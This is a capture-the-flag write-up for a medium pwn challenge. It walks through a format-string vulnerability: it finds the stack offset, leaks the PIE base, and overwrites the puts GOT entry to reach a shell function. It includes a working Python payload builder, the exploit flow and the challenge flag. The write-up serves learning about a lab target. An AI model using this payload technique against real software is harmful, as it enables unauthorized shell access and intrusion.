BYUCTF: Intro 2

Platform: BYUCTF Challenge: Intro 2 Category: Pwn Difficulty: Medium

Flag

byuctf{%p_yourself}

Target

<remote-host>:1367. dist.zip → intro + Dockerfile (pwn.red/jail, JAIL_TIME=60).

• ELF 64-bit, PIE, NX on, not stripped. Imports system + /bin/sh; has win().
• Disguised as a rev chal (embedded relic flag byuctf{welcome_to_rev_fellas} decodes via memfrob/XOR-0x2a in flag_check). The hint says solve it by pwning the remote. The rev flag isn’t the real one.

Recon

win() @ 0x53c → system("/bin/sh") (sets up its own /bin/sh, so any redirected call = shell).

main loops up to 5 attempts:

char buf[...];               // [rbp-0x70]
char copy[...];              // [rbp-0xe0]
scanf("%99s", buf);
strcpy(copy, buf);
if (flag_check(copy))   { printf("Correct! The flag is "); printf(buf); ... }
else                    { printf("Incorrect flag: ");      printf(buf);   // <-- VULN
                          puts("Try again."); }             // <-- trigger

Both branches call printf(buf) with no format string → format-string vulnerability, reachable just by sending a wrong flag. %99s and strcpy both stay in-frame (no stack overflow), so the format string is the bug.

Finding the offset & leaks

Send BBBBBBBB.%p.%p...: the marker 0x4242424242424242 lands on the 20th %p → format buffer is at arg offset 20. (Offsets 7 to 15 are the strcpy copy, mangled because flag_check runs memfrob on it in place.)

Scanning deeper:

• %39$p → pointer to main = base + 0x5c9 ⇒ PIE base leak.
• %35$p → a libc pointer (unused here).

Leak PIE, then GOT overwrite → win

Partial RELRO ⇒ GOT writable. puts@got = base + 0x3018. The plan fits the control flow perfectly: in the Incorrect branch, puts("Try again.") is called immediately after the vulnerable printf. So:

1. Attempt 1: send %39$p, leak main, compute base.
2. Attempt 2: format-string write win (base+0x53c) into puts@got. When the trailing puts() fires, it jumps to win → system("/bin/sh").

Payload construction (manual, fits in 99 bytes):

• Write the low 6 bytes of win as three %hn shorts to puts_got, +2, +4 (the top 2 bytes are 0x0000, same as the original entry, so skip them).
• 64-bit target addresses contain null bytes, so place all addresses after every format directive. scanf("%99s") happily reads embedded nulls (only whitespace stops it); printf executes all %hn writes before hitting the first null in the address block and stopping. Order the shorts ascending so the cumulative %c widths chain.
• Reject payloads where the (ASLR-dependent) address bytes contain whitespace (0x20/09/0a) and reconnect. Rare.

def make_payload(addr, value, start_off=20, cap=99):
    shorts  = [value & 0xffff, (value>>16)&0xffff, (value>>32)&0xffff]
    targets = [addr, addr+2, addr+4]
    writes  = sorted(zip(shorts, targets))          # ascending by value
    for addr_off in range(start_off+1, start_off+9):
        d, printed = b'', 0
        for i,(val,_) in enumerate(writes):
            delta = (val - printed) % 0x10000
            if delta: d += b'%%%dc' % delta
            d += b'%%%d$hn' % (addr_off+i)
            printed = val
        region = (addr_off - start_off) * 8
        if len(d) <= region:
            pay = d + b'A'*(region-len(d)) + b''.join(p64(t) for _,t in writes)
            if len(pay) <= cap and not any(b in pay for b in b' \t\n\x0b\x0c'):
                return pay

# flow: recv banner -> send b'%39$p' -> base = leak-0x5c9
#       -> send make_payload(base+0x3018, base+0x53c) -> puts() -> win -> shell
#       -> cat /app/flag.txt

Result: base 0x559956339000 … PWNED_1000 … byuctf{%p_yourself} (flag at /app/flag.txt).

Takeaways

• printf(user_buf) is the bug even when a fixed-format printf("%s", buf) sits right next to it. Check every printf for a missing format string.
• PIE fmtstr workflow: first leak a binary pointer (here %39$p → main) to recover the base, then write. One leak deterministically beats brute-forcing a partial overwrite (1/16 on the ASLR nibble).
• GOT overwrite beats return-address overwrite here because a call to the target (puts) happens in the same branch, right after the vulnerable printf. Instant, deterministic trigger, no need to unwind the 5-attempt loop.
• Null bytes in format-string addresses are fine if placed after all directives: scanf("%s") reads nulls; printf does the %hn writes before it stops at the null.
• A win() that loads its own argument means you only need to redirect one call. No register control required.

0xAdham